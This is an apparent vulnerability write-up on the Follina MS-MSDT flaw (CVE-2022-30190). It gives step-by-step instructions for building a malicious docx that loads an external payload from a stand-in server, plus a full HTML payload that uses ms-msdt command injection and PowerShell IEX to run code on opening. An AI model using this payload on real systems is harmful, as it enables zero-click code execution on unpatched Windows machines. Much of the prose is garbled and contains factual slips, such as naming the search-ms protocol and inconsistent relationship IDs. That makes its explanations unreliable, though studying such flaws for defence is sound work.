MS-MSDT "Follina"(CVE-2022-30190)

1- Executive summary

This vulnerability, which is used over ms office docx, is a part of the html links of windows applications.

a url protocol called 'search-ms' that allows it to initiate customized searches on the device

because it supports a specially prepared word file by connecting through certain urls.

Allows payload download to remote machine. for this reason the user does not interact at all (just by opening the file)

is controlled by the target machine.

2- Introduction

This vulnerability was first discovered by cybersecurity research team Nao_Sec on May 29, 2022.

and the office virus total for teams is also divided. The file is not valid for the victim system either, it was a difference outside of normal usage

This method failed to detect an instance (microsoft defender for endpoint) in some edr. Load more experts

It deals with zero-day vulnerability to connect with co-delivery and non-interactive long distance.

after more microsoft security updates are released. Today, this vulnerability is still exploited in legacy edr systems.

possible.

3- Explanation of the vulnerability with its impact

Here are the steps to build a Proof-of-Concept docx:

1. Open Word , create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.

2. Edit word/_rels/document.xml.rels in the docx structure (it is a plain zip). Modify the XML tag <Relationship> with attribute

```
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObjec
t"
```

and Target="embeddings/oleObject1.bin" by changing the Target value and adding attribute TargetMode:

```
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
```

Note the Id value (probably it is "rId5").

3. Edit word/document.xml. Search for the "<o:OLEObject ..>" tag (with r:id="rd5") and change the attribute from Type="Embed" to Type="Link" and add the attribute UpdateMode="OnCall".

NOTE: The created malicious docx is almost the same as for CVE-2021-44444.

4. Serve the PoC (calc.exe launcher) html payload with the ms-msdt scheme at

http://<payload_server>/payload.html:

```
<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
  window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param
\"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed
IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../.
./../Windows/System32/mpsigstub.exe \"";
</script>

</body>
</html>
```

4- Explanation of the exploit

Exploit "https://github.com/JohnHammond/msdt-follina", which will allow you to test the presence of the vulnerability in your system most easily.

You can reach the source and follow the instructions. As stated in the instructions, there is a python code that will create a word file that will enter the system and specify which command you can run functionally.

5- Current exploitation status (relevant threat groups, attack campaigns)

This vulnerability continues to be exploited on systems that are currently out of date.

A group published on miter att&ck has not yet been detected. but when we look at systems like "attackerkb", we can see that this vulnerability is highly exploited.

6- Mitigation suggestions

In order to get rid of this situation with the least damage, we should install the security update coming to the office versions in our systems as soon as possible and, if any, we should check whether such a malware is infected in our system logs.

7- Conclusion

The conclusion to be drawn is: The larger and more comprehensive the company that develops the app, the more it may miss. In this case, the larger the company, the greater the loss it will suffer.

Source:

https://attackerkb.com/topics/Z0pUwH0BFV/cve-2022-30190

https://www.youtube.com/watch?v=dGCOhORNKRk&ab_channel=JohnHammond

https://dl.packetstormsecurity.net/2205-exploits/msdt-poc.txt

https://nvd.nist.gov/vuln/detail/CVE-2022-30190

https://github.com/JohnHammond/msdt-follina